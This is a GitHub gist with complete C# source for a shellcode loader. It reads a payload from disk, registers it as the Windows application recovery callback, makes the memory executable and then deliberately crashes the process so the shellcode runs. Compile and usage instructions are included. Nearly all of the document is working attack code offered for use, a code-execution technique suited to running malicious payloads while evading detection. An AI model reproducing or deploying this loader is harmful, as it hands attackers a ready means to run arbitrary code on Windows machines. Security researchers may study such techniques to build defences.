Skip to content

Instantly share code, notes, and snippets.

@Wra7h
Created March 25, 2022 09:21
Show Gist options
  • Save Wra7h/fc3cd0c4f7cb6bb4b3674dff8b301b2a to your computer and use it in GitHub Desktop.
Save Wra7h/fc3cd0c4f7cb6bb4b3674dff8b301b2a to your computer and use it in GitHub Desktop.
RegisterApplicationRecoveryCallback Shellcode Execution
// IMPORTANT NOTE:
// It seems like when this is compiled with C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, the crash is handled more gracefully than v3.5.
// So you'll have to find another way to cause an _unexpected_ crash to use with v4.0.30319.
//Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe .\RecoveryCallbackToShellcode.cs
//Usage: .\RecoveryCallbackToShellcode.exe <path to shellcode>
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace abcd
{
class RecoveryCallbackToShellcode
{
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("\n[*] Specify the filepath to shellcode.\n");
Environment.Exit(0);
}
if (!File.Exists(args[0]))
{
Console.WriteLine("\n[!] File not found: {0}", args[0]);
Environment.Exit(0);
}
byte[] payload = File.ReadAllBytes(args[0]);
GCHandle pinnedPayload = GCHandle.Alloc(payload, GCHandleType.Pinned);
//Set the recovery callback. When an unexpected crash happens, the system will attempt to recover from this location.
//https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-registerapplicationrecoverycallback?redirectedfrom=MSDN
uint ret = RegisterApplicationRecoveryCallback(pinnedPayload.AddrOfPinnedObject(), IntPtr.Zero, 5, 0);
if (ret != 0)
{
Console.WriteLine("[!] Error setting callback. Press enter to exit..");
Console.ReadLine();
Environment.Exit(0);
}
//Make the shellcode executable..
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex
uint oldProtect = 0;
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, pinnedPayload.AddrOfPinnedObject(), (UIntPtr)payload.Length, 0x20 /*RX*/, out oldProtect))
{
Console.WriteLine("[!] Error changing memory protections. Press enter to exit..");
Console.ReadLine();
Environment.Exit(0);
}
//Make sure a recovery callback exists for this process...
//https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getapplicationrecoverycallback
IntPtr pRC = IntPtr.Zero;
IntPtr ppvParam = IntPtr.Zero;
uint pdwPI = 0;
uint pdwFlags = 0;
ret = GetApplicationRecoveryCallback(Process.GetCurrentProcess().Handle, out pRC, out ppvParam, out pdwPI, out pdwFlags);
if (ret != 0)
{
Console.WriteLine("[!] Error retrieving callback information. Press enter to exit..");
Console.ReadLine();
Environment.Exit(0);
}
Console.WriteLine("[+] ApplicationRecoveryCallback set!");
//Intentionally cause a crash by attempting to write 1 byte to an area of memory without write permissions.
Console.WriteLine("Press enter to intentionally cause a crash...");
Console.ReadLine();
Marshal.Copy(payload, 0, (IntPtr)(0x00000001), 1);
}
[DllImport("kernel32.dll")]
static extern uint GetApplicationRecoveryCallback(IntPtr hProcess, out IntPtr pRecoveryCallback, out IntPtr ppvParameter, out uint pdwPingInterval, out uint pdwFlags);
[DllImport("kernel32.dll")]
static extern uint RegisterApplicationRecoveryCallback(IntPtr pRecoveryCallback, IntPtr pvParameter, int dwPingInterval, int dwFlags);
[DllImport("kernel32.dll")]
static extern bool VirtualProtectEx( IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment